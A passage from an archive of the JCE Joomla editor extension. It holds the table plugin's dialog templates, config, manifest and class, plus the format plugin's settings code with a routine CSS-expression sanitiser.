<div class="uk-form-row uk-grid">
    <label class="uk-form-label uk-width-2-10" for="cellpadding">
        <?php echo Text::_('WF_TABLE_CELLPADDING'); ?></label>
    <div class="uk-form-controls uk-width-3-10">
        <input id="cellpadding" type="number" value="" />
    </div>

    <label class="uk-form-label uk-width-2-10" for="cellspacing">
        <?php echo Text::_('WF_TABLE_CELLSPACING'); ?></label>
    <div class="uk-form-controls uk-width-3-10">
        <input id="cellspacing" type="number" value="" />
    </div>
</div>
<div class="uk-form-row uk-grid">
    <label class="uk-form-label uk-width-2-10" for="align">
        <?php echo Text::_('WF_TABLE_ALIGN'); ?></label>
    <div class="uk-form-controls uk-width-3-10">
        <select id="align">
            <option value=""><?php echo Text::_('WF_OPTION_NOT_SET'); ?></option>
            <option value="center"><?php echo Text::_('WF_TABLE_ALIGN_MIDDLE'); ?></option>
            <option value="left"><?php echo Text::_('WF_TABLE_ALIGN_LEFT'); ?></option>
            <option value="right"><?php echo Text::_('WF_TABLE_ALIGN_RIGHT'); ?></option>
        </select>
    </div>

    <label class="uk-form-label uk-width-2-10" for="table_border">
        <?php echo Text::_('WF_TABLE_BORDER'); ?></label>
    <div class="uk-form-controls uk-width-3-10">
        <input id="table_border" type="number" value="" />
    </div>
</div>
<div class="uk-form-row uk-grid">
    <label class="uk-form-label uk-width-2-10" for="width">
        <?php echo Text::_('WF_TABLE_WIDTH'); ?></label>
    <div class="uk-form-controls uk-width-3-10">
        <input type="text" id="width" value="" />
    </div>

    <label class="uk-form-label uk-width-2-10" for="height">
        <?php echo Text::_('WF_TABLE_HEIGHT'); ?></label>
    <div class="uk-form-controls uk-width-3-10">
        <input type="text" id="height" value="" />
    </div>
</div>
<div class="uk-form-row">
    <input id="caption" type="checkbox" />
    <label for="caption">
        <?php echo Text::_('WF_TABLE_CAPTION'); ?></label>
</div>
com_jce/editor/plugins/table/tmpl/merge.php000060400000001742152453734450015001 0ustar00<?php

/**
 * @copyright    Copyright (c) 2009-2022 Ryan Demmer. All rights reserved
 * @license    GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
\defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

?>
<div class="uk-grid uk-grid-small uk-form-row">
    <label class="uk-form-label uk-width-7-10"><?php echo Text::_('WF_TABLE_COLS'); ?>:</label>
    <div class="uk-form-controls uk-width-3-10">
        <input type="number" min="1" id="numcols" value=""/>
    </div>
    <label class="uk-form-label uk-width-7-10"><?php echo Text::_('WF_TABLE_ROWS'); ?>:</label>
    <div class="uk-form-controls uk-width-3-10">
        <input type="number" min="1" id="numrows" value=""/>
    </div>
</div>
com_jce/editor/plugins/table/tmpl/general_row.php000060400000005022152453734450016201 0ustar00<?php

/**
 * @copyright    Copyright (c) 2009-2022 Ryan Demmer. All rights reserved
 * @license    GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
\defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

?>
<div class="uk-form-row uk-grid uk-grid-small">
    <label class="uk-form-label uk-width-3-10" for="rowtype">
        <?php echo Text::_('WF_TABLE_ROWTYPE'); ?></label>
    <div class="uk-form-controls uk-width-7-10">
        <select id="rowtype">
            <option value="thead"><?php echo Text::_('WF_TABLE_THEAD'); ?></option>
            <option value="tbody"><?php echo Text::_('WF_TABLE_TBODY'); ?></option>
            <option value="tfoot"><?php echo Text::_('WF_TABLE_TFOOT'); ?></option>
        </select></div>
</div>
<div class="uk-form-row uk-grid uk-grid-small">
    <label class="uk-form-label uk-width-3-10" for="align">
        <?php echo Text::_('WF_TABLE_ALIGN'); ?></label>
    <div class="uk-form-controls uk-width-7-10">
        <select id="align">
            <option value=""><?php echo Text::_('WF_OPTION_NOT_SET'); ?></option>
            <option value="center"><?php echo Text::_('WF_TABLE_ALIGN_MIDDLE'); ?></option>
            <option value="left"><?php echo Text::_('WF_TABLE_ALIGN_LEFT'); ?></option>
            <option value="right"><?php echo Text::_('WF_TABLE_ALIGN_RIGHT'); ?></option>
        </select></div>
</div>
<!--div class="uk-form-row uk-grid uk-grid-small">
    <label class="uk-form-label uk-width-3-10" for="valign">
        <?php echo Text::_('WF_TABLE_VALIGN'); ?></label>
    <div class="uk-form-controls uk-width-7-10">
        <select id="valign">
            <option value=""><?php echo Text::_('WF_OPTION_NOT_SET'); ?></option>
            <option value="top"><?php echo Text::_('WF_TABLE_ALIGN_TOP'); ?></option>
            <option value="middle"><?php echo Text::_('WF_TABLE_ALIGN_MIDDLE'); ?></option>
            <option value="bottom"><?php echo Text::_('WF_TABLE_ALIGN_BOTTOM'); ?></option>
        </select></div>
</div-->
<div class="uk-form-row uk-grid uk-grid-small">
    <label class="uk-form-label uk-width-3-10" for="height">
        <?php echo Text::_('WF_TABLE_HEIGHT'); ?></label>
    <div class="uk-form-controls uk-width-7-10">
        <input type="text" id="height" value="" />
    </div>
</div>com_jce/editor/plugins/table/tmpl/general_cell.php000060400000006705152453734450016322 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2022 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
\defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

?>
    <div class="uk-form-row uk-grid">
        <label class="uk-form-label uk-width-2-10" for="align">
                <?php echo Text::_('WF_TABLE_ALIGN'); ?></label>
        <div class="uk-form-controls uk-width-3-10">
            <select id="align">
                <option value=""><?php echo Text::_('WF_OPTION_NOT_SET'); ?></option>
                <option value="center"><?php echo Text::_('WF_TABLE_ALIGN_MIDDLE'); ?></option>
                <option value="left"><?php echo Text::_('WF_TABLE_ALIGN_LEFT'); ?></option>
                <option value="right"><?php echo Text::_('WF_TABLE_ALIGN_RIGHT'); ?></option>
            </select>
        </div>

        <label class="uk-form-label uk-width-2-10" for="celltype">
                <?php echo Text::_('WF_TABLE_CELL_TYPE'); ?></label>
        <div class="uk-form-controls uk-width-3-10">
            <select id="celltype" >
                <option value="td"><?php echo Text::_('WF_TABLE_TD'); ?></option>
                <option value="th"><?php echo Text::_('WF_TABLE_TH'); ?></option>
            </select>
        </div>
    </div>
    
    <div class="uk-form-row uk-grid">
        <label class="uk-form-label uk-width-2-10" for="valign">
                <?php echo Text::_('WF_TABLE_VALIGN'); ?></label>
        <div class="uk-form-controls uk-width-3-10">
            <select id="valign" >
                <option value=""><?php echo Text::_('WF_OPTION_NOT_SET'); ?></option>
                <option value="top"><?php echo Text::_('WF_TABLE_ALIGN_TOP'); ?></option>
                <option value="middle"><?php echo Text::_('WF_TABLE_ALIGN_MIDDLE'); ?></option>
                <option value="bottom"><?php echo Text::_('WF_TABLE_ALIGN_BOTTOM'); ?></option>
            </select>
        </div>

        <label class="uk-form-label uk-width-2-10" for="scope">
                <?php echo Text::_('WF_TABLE_SCOPE'); ?></label>
        <div class="uk-form-controls uk-width-3-10">
            <select id="scope" >
                <option value=""><?php echo Text::_('WF_OPTION_NOT_SET'); ?></option>
                <option value="col"><?php echo Text::_('WF_TABEL_COL'); ?></option>
                <option value="row"><?php echo Text::_('WF_TABEL_ROW'); ?></option>
                <option value="rowgroup"><?php echo Text::_('WF_TABLE_ROWGROUP'); ?></option>
                <option value="colgroup"><?php echo Text::_('WF_TABLE_COLGROUP'); ?></option>
            </select>
        </div>
    </div>

    <div class="uk-form-row uk-grid">
        <label class="uk-form-label uk-width-2-10" for="width">
                <?php echo Text::_('WF_TABLE_WIDTH'); ?></label>
        <div class="uk-form-controls uk-width-3-10">
            <input id="width" type="text" value="" />
        </div>

        <label class="uk-form-label uk-width-2-10" for="height">
                <?php echo Text::_('WF_TABLE_HEIGHT'); ?></label>
        <div class="uk-form-controls uk-width-3-10">
            <input id="height" type="text" value="" />
        </div>
    </div>com_jce/editor/plugins/table/tmpl/general.php000060400000001027152453734450015313 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2022 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
\defined('_JEXEC') or die;

?>
<?php echo $this->loadTemplate($this->plugin->getLayout()); ?>
com_jce/editor/plugins/table/tmpl/default.php000060400000003431152453734450015323 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2022 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
\defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

$tabs = WFTabs::getInstance();
?>
<form onsubmit="return false;" class="uk-form uk-form-horizontal" data-layout="<?php echo $this->plugin->getLayout(); ?>">
	<?php echo $tabs->render(); ?>
	<div class="mceActionPanel">
	<?php if ($this->plugin->getLayout() == 'cell') : ?>
		<div class="uk-form-row uk-float-left">
			<select id="action" name="action">
				<option value="cell"><?php echo Text::_('WF_TABLE_CELL_CELL'); ?></option>
				<option value="row"><?php echo Text::_('WF_TABLE_CELL_ROW'); ?></option>
				<option value="all"><?php echo Text::_('WF_TABLE_CELL_ALL'); ?></option>
			</select>
		</div>
	<?php endif;
    if ($this->plugin->getLayout() == 'row') : ?>
		<div class="uk-form-row uk-float-left">
			<select id="action" name="action">
				<option value="row"><?php echo Text::_('WF_TABLE_ROW_ROW'); ?></option>
				<option value="odd"><?php echo Text::_('WF_TABLE_ROW_ODD'); ?></option>
				<option value="even"><?php echo Text::_('WF_TABLE_ROW_EVEN'); ?></option>
				<option value="all"><?php echo Text::_('WF_TABLE_ROW_ALL'); ?></option>
			</select>
		</div>
	<?php endif; ?>
	<button type="button" id="cancel"><?php echo Text::_('WF_LABEL_CANCEL'); ?></button>
	<button type="submit" id="insert" onclick="TableDialog.insert();"><?php echo Text::_('WF_LABEL_INSERT'); ?></button>
	</div>
</form>
com_jce/editor/plugins/table/tmpl/advanced.php000060400000020701152453734450015443 0ustar00<?php

/**
 * @copyright    Copyright (c) 2009-2022 Ryan Demmer. All rights reserved
 * @license    GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
\defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

?>
<div class="uk-form-row uk-grid uk-grid-small">
    <label for="classlist" class="uk-form-label uk-width-1-5 hastip" title="<?php echo Text::_('WF_LABEL_CLASSES_DESC'); ?>"><?php echo Text::_('WF_LABEL_CLASSES'); ?></label>
    <div class="uk-form-controls uk-width-4-5">
        <input type="text" id="classes" class="uk-datalist" multiple="multiple" list="classes_datalist" />
        <datalist id="classes_datalist"></datalist>
    </div>
</div>

<div class="uk-form-row uk-grid uk-grid-small">
    <label class="uk-form-label uk-width-1-5" for="id">
        <?php echo Text::_('WF_TABLE_ID'); ?></label>
    <div class="uk-form-controls uk-width-4-5">
        <input id="id" type="text" value="" />
    </div>
</div>
<div class="uk-form-row uk-grid uk-grid-small">
    <label class="uk-form-label uk-width-1-5" for="summary">
        <?php echo Text::_('WF_TABLE_SUMMARY'); ?></label>
    <div class="uk-form-controls uk-width-4-5">
        <input id="summary" type="text" value="" />
    </div>
</div>
<div class="uk-form-row uk-grid uk-grid-small">
    <label class="uk-form-label uk-width-1-5" for="style">
        <?php echo Text::_('WF_TABLE_STYLE'); ?></label>
    <div class="uk-form-controls uk-width-4-5">
        <input type="text" id="style" value="" />
    </div>
</div>
<div class="uk-form-row uk-grid uk-grid-small">
    <label class="uk-form-label uk-width-1-5" id="langlabel" for="lang">
        <?php echo Text::_('WF_TABLE_LANGCODE'); ?></label>
    <div class="uk-form-controls uk-width-4-5">
        <input id="lang" type="text" value="" class="uk-form-width-small" />
    </div>
</div>
<div class="uk-form-row uk-grid uk-grid-small">
    <label class="uk-form-label uk-width-1-5" for="backgroundimage">
        <?php echo Text::_('WF_TABLE_BGIMAGE'); ?></label>
    <div class="uk-form-controls uk-width-4-5">
        <input id="backgroundimage" type="text" value="" class="browser images" />
    </div>
</div>
<?php if ($this->plugin->getLayout() == 'table'):
?>
<div class="uk-form-row uk-grid uk-grid-small">
    <label class="uk-form-label uk-width-1-5" for="tframe">
        <?php echo Text::_('WF_TABLE_FRAME'); ?></label>
    <div class="uk-form-controls uk-width-4-5">
        <select id="frame">
            <option value=""><?php echo Text::_('WF_OPTION_NOT_SET'); ?></option>
            <option value="void"><?php echo Text::_('WF_TABLE_RULES_VOID'); ?></option>
            <option value="above"><?php echo Text::_('WF_TABLE_RULES_ABOVE'); ?></option>
            <option value="below"><?php echo Text::_('WF_TABLE_RULES_BELOW'); ?></option>
            <option value="hsides"><?php echo Text::_('WF_TABLE_RULES_HSIDES'); ?></option>
            <option value="lhs"><?php echo Text::_('WF_TABLE_RULES_LHS'); ?></option>
            <option value="rhs"><?php echo Text::_('WF_TABLE_RULES_RHS'); ?></option>
            <option value="vsides"><?php echo Text::_('WF_TABLE_RULES_VSIDES'); ?></option>
            <option value="box"><?php echo Text::_('WF_TABLE_RULES_BOX'); ?></option>
            <option value="border"><?php echo Text::_('WF_TABLE_RULES_BORDER'); ?></option>
        </select></div>
</div>
<div class="uk-form-row uk-grid uk-grid-small">
    <label class="uk-form-label uk-width-1-5" for="rules">
        <?php echo Text::_('WF_TABLE_RULES'); ?></label>
    <div class="uk-form-controls uk-width-4-5">
        <select id="rules">
            <option value=""><?php echo Text::_('WF_OPTION_NOT_SET'); ?></option>
            <option value="none"><?php echo Text::_('WF_TABLE_FRAME_NONE'); ?></option>
            <option value="groups"><?php echo Text::_('WF_TABLE_FRAME_GROUPS'); ?></option>
            <option value="rows"><?php echo Text::_('WF_TABLE_FRAME_ROWS'); ?></option>
            <option value="cols"><?php echo Text::_('WF_TABLE_FRAME_COLS'); ?></option>
            <option value="all"><?php echo Text::_('WF_TABLE_FRAME_ALL'); ?></option>
        </select></div>
</div>
<?php endif; ?>
<div class="uk-form-row uk-grid uk-grid-small">
    <label class="uk-form-label uk-width-1-5" for="dir">
        <?php echo Text::_('WF_TABLE_LANGDIR'); ?></label>
    <div class="uk-form-controls uk-width-4-5">
        <select id="dir">
            <option value=""><?php echo Text::_('WF_OPTION_NOT_SET'); ?></option>
            <option value="ltr"><?php echo Text::_('WF_TABLE_LTR'); ?></option>
            <option value="rtl"><?php echo Text::_('WF_TABLE_RTL'); ?></option>
        </select></div>
</div>

<div class="uk-form-row uk-grid uk-grid-small">
    <label for="border" class="hastip uk-form-label uk-width-1-5" title="<?php echo Text::_('WF_LABEL_BORDER_DESC'); ?>">
        <?php echo Text::_('WF_LABEL_BORDER'); ?>
    </label>

    <div class="uk-form-controls uk-grid uk-grid-small uk-width-4-5">
        <div class="uk-form-controls uk-width-0-3 uk-margin-small-top">
            <input type="checkbox" id="border" />
        </div>

        <label for="border_width" class="hastip uk-form-label uk-width-1-10 uk-margin-small-left" title="<?php echo Text::_('WF_LABEL_BORDER_WIDTH_DESC'); ?>"><?php echo Text::_('WF_LABEL_WIDTH'); ?></label>
        <div class="uk-form-controls uk-width-2-10">
            <input type="text" pattern="[0-9]+" id="border_width" class="uk-datalist" list="border_width_datalist" />
            <datalist id="border_width_datalist">
                <option value="inherit">--</option>
                <option value="0">0</option>
                <option value="1">1</option>
                <option value="2">2</option>
                <option value="3">3</option>
                <option value="4">4</option>
                <option value="5">5</option>
                <option value="6">6</option>
                <option value="7">7</option>
                <option value="8">8</option>
                <option value="9">9</option>
                <option value="thin"><?php echo Text::_('WF_OPTION_BORDER_THIN'); ?></option>
                <option value="medium"><?php echo Text::_('WF_OPTION_BORDER_MEDIUM'); ?></option>
                <option value="thick"><?php echo Text::_('WF_OPTION_BORDER_THICK'); ?></option>
            </datalist>
        </div>

        <label for="border_style" class="hastip uk-form-label uk-width-1-10 uk-margin-small-left" title="<?php echo Text::_('WF_LABEL_BORDER_STYLE_DESC'); ?>"><?php echo Text::_('WF_LABEL_STYLE'); ?></label>
        <div class="uk-form-controls uk-width-2-10">
            <select id="border_style">
                <option value="inherit">--</option>
                <option value="none"><?php echo Text::_('WF_OPTION_BORDER_NONE'); ?></option>
                <option value="solid"><?php echo Text::_('WF_OPTION_BORDER_SOLID'); ?></option>
                <option value="dashed"><?php echo Text::_('WF_OPTION_BORDER_DASHED'); ?></option>
                <option value="dotted"><?php echo Text::_('WF_OPTION_BORDER_DOTTED'); ?></option>
                <option value="double"><?php echo Text::_('WF_OPTION_BORDER_DOUBLE'); ?></option>
                <option value="groove"><?php echo Text::_('WF_OPTION_BORDER_GROOVE'); ?></option>
                <option value="inset"><?php echo Text::_('WF_OPTION_BORDER_INSET'); ?></option>
                <option value="outset"><?php echo Text::_('WF_OPTION_BORDER_OUTSET'); ?></option>
                <option value="ridge"><?php echo Text::_('WF_OPTION_BORDER_RIDGE'); ?></option>
            </select>
        </div>

        <label for="border_color" class="hastip uk-form-label uk-width-1-10 uk-margin-small-left" title="<?php echo Text::_('WF_LABEL_BORDER_COLOR_DESC'); ?>"><?php echo Text::_('WF_LABEL_COLOR'); ?></label>
        <div class="uk-form-controls uk-width-2-10">
            <input id="border_color" class="color" type="text" value="#000000" />
        </div>
    </div>
</div>

<div class="uk-form-row uk-grid uk-grid-small">
    <label class="uk-form-label uk-width-1-5" for="bgcolor">
        <?php echo Text::_('WF_TABLE_BGCOLOR'); ?></label>
    <div class="uk-form-controls uk-width-1-5">
        <input id="bgcolor" type="text" value="" size="9" class="color uk-form-width-small" />
    </div>
</div>com_jce/editor/plugins/table/tmpl/index.html000060400000000054152453734450015161 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/plugins/table/index.html000060400000000054152453734450014205 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/plugins/table/config.php000060400000003625152453734450014175 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

class WFTablePluginConfig
{
    public static function getConfig(&$settings)
    {
        $wf = WFApplication::getInstance();

        $width = $wf->getParam('table.width');
        $height = $wf->getParam('table.height');

        if ($width && preg_match('#^[0-9\.]$#', $width)) {
            $width .= 'px';
        }

        if ($height && preg_match('#^[0-9\.]$#', $height)) {
            $height .= 'px';
        }

        $settings['table_default_width'] = $width;
        $settings['table_default_height'] = $height;
        $settings['table_default_border'] = $wf->getParam('table.border', 0, 0);
        $settings['table_default_align'] = $wf->getParam('table.align', '', '');
        $settings['table_default_cellpadding'] = $wf->getParam('table.cellpadding', 0, 0);
        $settings['table_default_cellspacing'] = $wf->getParam('table.cellspacing', 0, 0);
        $settings['table_default_rows'] = $wf->getParam('table.rows', 2, 2);
        $settings['table_default_cols'] = $wf->getParam('table.cols', 2, 2);
        $settings['table_cell_limit'] = $wf->getParam('table.cell_limit', 0, 0);
        $settings['table_row_limit'] = $wf->getParam('table.row_limit', 0, 0);
        $settings['table_col_limit'] = $wf->getParam('table.col_limit', 0, 0);
        $settings['table_pad_empty_cells'] = $wf->getParam('table.pad_empty_cells', 1, 1);

        $settings['table_classes'] = $wf->getParam('table.classes', '', '');
        $settings['table_classes_custom'] = $wf->getParam('table.custom_classes', [], []);

        $settings['table_buttons'] = $wf->getParam('table.show_buttons', 1, 1);

        $settings['table_basic_dialog'] = $wf->getParam('table.basic_dialog', 0, 0);
    }
}
com_jce/editor/plugins/table/table.xml000060400000012016152453734450014022 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<extension version="3.4" type="plugin" group="jce" method="upgrade">
    <name>WF_TABLE_TITLE</name>
    <version>2.9.99.2</version>
    <creationDate>22-04-2026</creationDate>
    <author>Ryan Demmer</author>
    <authorEmail>info@joomlacontenteditor.net</authorEmail>
    <authorUrl>https://www.joomlacontenteditor.net/</authorUrl>
    <copyright>Copyright (C) 2006 - 2026 Ryan Demmer. All rights reserved</copyright>
    <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
    <description>WF_TABLE_DESC</description>
    <icon>table_insert,delete_table,row_props,cell_props,row_before,row_after,delete_row,col_before,col_after,delete_col,split_cells,merge_cells</icon>
    <fields name="table">
        <fieldset name="config">

            <fieldset name="defaults">
                <field name="width" type="text" size="6" default="" label="WF_TABLES_PARAM_WIDTH" description="WF_TABLES_PARAM_WIDTH_DESC" />
                <field name="height" type="text" size="6" default="" label="WF_TABLES_PARAM_HEIGHT" description="WF_TABLES_PARAM_HEIGHT_DESC" />
                <field name="border" type="text" size="5" default="0" label="WF_TABLES_PARAM_BORDER" description="WF_TABLES_PARAM_BORDER_DESC" />
                <field name="cols" type="number" size="5" class="input-small" step="1" default="2" label="WF_TABLES_PARAM_COLS" description="WF_TABLES_PARAM_COLS_DESC" />
                <field name="rows" type="number" size="5" class="input-small" step="1" default="2" label="WF_TABLES_PARAM_ROWS" description="WF_TABLES_PARAM_ROWS_DESC" />
                <field name="cellpadding" type="number" class="input-small" step="1" size="5" default="" label="WF_TABLES_PARAM_CELLPADDING" description="WF_TABLES_PARAM_CELLPADDING_DESC" />
                <field name="cellspacing" type="number" class="input-small" step="1" size="5" default="" label="WF_TABLES_PARAM_CELLSPACING" description="WF_TABLES_PARAM_CELLSPACING_DESC" />
                <field name="align" type="list" default="" label="WF_TABLE_ALIGN" description="WF_TABLE_ALIGN_DESC">
                    <option value="">WF_OPTION_NOT_SET</option>
                    <option value="left">WF_TABLE_ALIGN_LEFT</option>
                    <option value="center">WF_TABLE_ALIGN_MIDDLE</option>
                    <option value="right">WF_TABLE_ALIGN_RIGHT</option>
                </field>
                <field name="classes" type="text" size="50" default="" label="WF_LABEL_CLASSES" description="WF_LABEL_CLASSES_DESC" />

            </fieldset>

            <field name="pad_empty_cells" type="list" default="1" label="WF_TABLE_PAD_EMPTY_CELLS" description="WF_TABLE_PAD_EMPTY_CELLS_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>

            <field name="custom_classes" type="repeatable" default="" label="WF_LABEL_CUSTOM_CLASSES" description="WF_LABEL_CUSTOM_CLASSES_DESC">
                <field type="text" size="50" hiddenLabel="true" />
            </field>

            <field name="basic_dialog" type="yesno" default="0" label="WF_PARAM_BASIC_DIALOG" description="WF_PARAM_BASIC_DIALOG_DESC" class="btn-group btn-group-yesno">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>

            <field name="show_buttons" type="list" default="1" label="WF_TABLE_SHOW_BUTTONS" description="WF_TABLE_SHOW_BUTTONS_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>

            <field type="heading" label="WF_PROFILES_PLUGINS_BUTTONS" />

            <field name="buttons" type="buttons" multiple="multiple" default="table_insert,delete_table,row_props,cell_props,row_before,row_after,delete_row,col_before,col_after,delete_col,split_cells,merge_cells" label="WF_PARAM_BUTTONS" description="WF_PARAM_BUTTONS_DESC">
                <option value="table_insert">WF_TABLE_INSERT</option>
                <option value="delete_table">WF_TABLE_DELETE</option>
                <option value="row_props">WF_TABLE_ROW_PROPS</option>
                <option value="cell_props">WF_TABLE_CELL_PROPS</option>
                <option value="row_before">WF_TABLE_ROW_BEFORE</option>
                <option value="row_after">WF_TABLE_ROW_AFTER</option>
                <option value="delete_row">WF_TABLE_ROW_DELETE</option>
                <option value="col_before">WF_TABLE_COL_BEFORE</option>
                <option value="col_after">WF_TABLE_COL_AFTER</option>
                <option value="delete_col">WF_TABLE_COL_DELETE</option>
                <option value="split_cells">WF_TABLE_SPLIT</option>
                <option value="merge_cells">WF_TABLE_MERGE</option>
            </field>
        </fieldset>
    </fields>
    <help>
        <topic key="tables.edit" title="WF_TABLES_HELP_EDIT" />
        <topic key="tables.delete" title="WF_TABLES_HELP_DELETE" />
        <topic key="tables.rows" title="WF_TABLES_HELP_ROWS" />
    </help>
    <languages></languages>
</extension>
com_jce/editor/plugins/table/table.php000060400000003412152453734450014011 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;

class WFTablePlugin extends WFEditorPlugin
{
    public function __construct()
    {
        parent::__construct(array('colorpicker' => true));
    }

    public function getLayout()
    {
        return Factory::getApplication()->input->getCmd('slot', 'table');
    }

    /**
     * Display the plugin.
     */
    public function display()
    {
        parent::display();

        $layout = $this->getLayout();
        $document = WFDocument::getInstance();

        $document->addScript(array('table'), 'plugins');
        $document->addStyleSheet(array('table'), 'plugins');

        // update title
        if ($layout !== 'table') {
            $document->setTitle(Text::_('WF_TABLE_' . strtoupper($layout) . '_TITLE'));
        }

        $settings = $this->getSettings();

        $document->addScriptDeclaration('TableDialog.settings=' . json_encode($settings) . ';');

        $tabs = WFTabs::getInstance(array('base_path' => WF_EDITOR_PLUGIN));

        if ($layout == 'merge') {
            // Add tabs
            $tabs->addTab('merge');
        } else {
            $tabs->addTab('general', 1, array('plugin' => $this));
            $tabs->addTab('advanced', 1, array('plugin' => $this));
        }
    }

    public function getSettings($settings = array())
    {
        $profile = $this->getProfile();

        $settings['file_browser'] = $this->getParam('file_browser', 1) && in_array('browser', explode(',', $profile->plugins));

        return parent::getSettings($settings);
    }
}
com_jce/editor/plugins/format/index.html000060400000000054152453734450014406 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/plugins/format/config.php000060400000010203152453734450014364 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @copyright   Copyright (C) 2005 - 2021 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

class WFFormatPluginConfig
{
    public static function getConfig(&$settings)
    {
        $wf = WFApplication::getInstance();

        $settings['inline_styles'] = $wf->getParam('editor.inline_styles', 1, 1);

        // Root block handling
        $forced_root_block = $wf->getParam('editor.forced_root_block', 'p');

        // set as boolean if disabled
        if (is_numeric($forced_root_block)) {
            $settings['forced_root_block'] = (bool) intval($forced_root_block);

            if ($settings['forced_root_block'] === false) {
                $settings['force_block_newlines'] = false;
            }

            // legacy value
            if ($wf->getParam('editor.force_br_newlines', 0, 0, 'boolean') === false) {
                $settings['force_block_newlines'] = $wf->getParam('editor.force_p_newlines', 1, 0, 'boolean');
            }
        } else {
            if (strpos($forced_root_block, '|') !== false) {
                // multiple values
                foreach (explode('|', $forced_root_block) as $option) {
                    list($key, $value) = explode(':', $option);

                    // update legacy key
                    if ($key === 'force_p_newlines') {
                        $key = 'force_block_newlines';
                    }

                    $settings[$key] = is_numeric($value) ? (bool) $value : $value;
                }
            } else {
                $settings['forced_root_block'] = $forced_root_block;
            }
        }

        $convert_urls = $wf->getParam('editor.convert_urls');

        // Relative urls - legacy
        $relative_urls = $wf->getParam('editor.relative_urls');

        // if a legacy value is set as a numeric value, and convert_urls is not, then process legacy value
        if (is_numeric($relative_urls) && empty($convert_urls)) {
            $relative_urls = intval($relative_urls);

            if ($relative_urls === 1) {
                $convert_urls = 'relative';
            }

            if ($relative_urls === 0) {
                $convert_urls = 'absolute';
            }
        }

        switch ($convert_urls) {
            default:
            case 'relative':
                $settings['relative_urls'] = true;
                break;
            case 'absolute':
                $settings['relative_urls'] = false;
                $settings['remove_script_host'] = false;
                break;
            case 'none':
                $settings['mixed_urls'] = true;
                $settings['remove_script_host'] = false;
                break;
        }

        $custom_css = $wf->getParam('editor.custom_css', []);

        if (!empty($custom_css)) {
            // trim
            $custom_css = array_map('trim', $custom_css);

            array_walk($custom_css, function (&$value) {
                $value = htmlspecialchars($value, ENT_QUOTES);
                $value = self::stripCssExpressions($value);
            });
            
            $settings['custom_css'] = implode(';', $custom_css);
        }
    }

    /**
	 * Remove CSS Expressions in the form of <property>:expression(...)
     * From libraries/vendor/joomla/filter/src/InputFilter.php
	 *
	 * @param   string  $source  The source string.
	 *
	 * @return  string  Filtered string
	 */
	protected static function stripCssExpressions($source)
	{
		// Strip any comments out (in the form of /*...*/)
		$test = preg_replace('#\/\*.*\*\/#U', '', $source);

		// Test for :expression
		if (!stripos($test, ':expression'))
		{
			// Not found, so we are done
			return $source;
		}

		// At this point, we have stripped out the comments and have found :expression
		// Test stripped string for :expression followed by a '('
		if (preg_match_all('#:expression\s*\(#', $test, $matches))
		{
			// If found, remove :expression
			return str_ireplace(':expression', '', $test);
		}

		return $source;
	}
}
com_jce/editor/plugins/searchreplace/searchreplace.xml000060400000001156152453734450017251 0ustar00<?xml version="1.0" ?>
<extension version="3.0" type="plugin" plugin="searchreplace" core="1" editable="0">
	<name>WF_SEARCHREPLACE_TITLE</name>
	<version>2.9.99.2</version>
	<creationDate>22-04-2026</creationDate>
	<author>Ryan Demmer</author>
	<authorEmail>info@joomlacontenteditor.net</authorEmail>
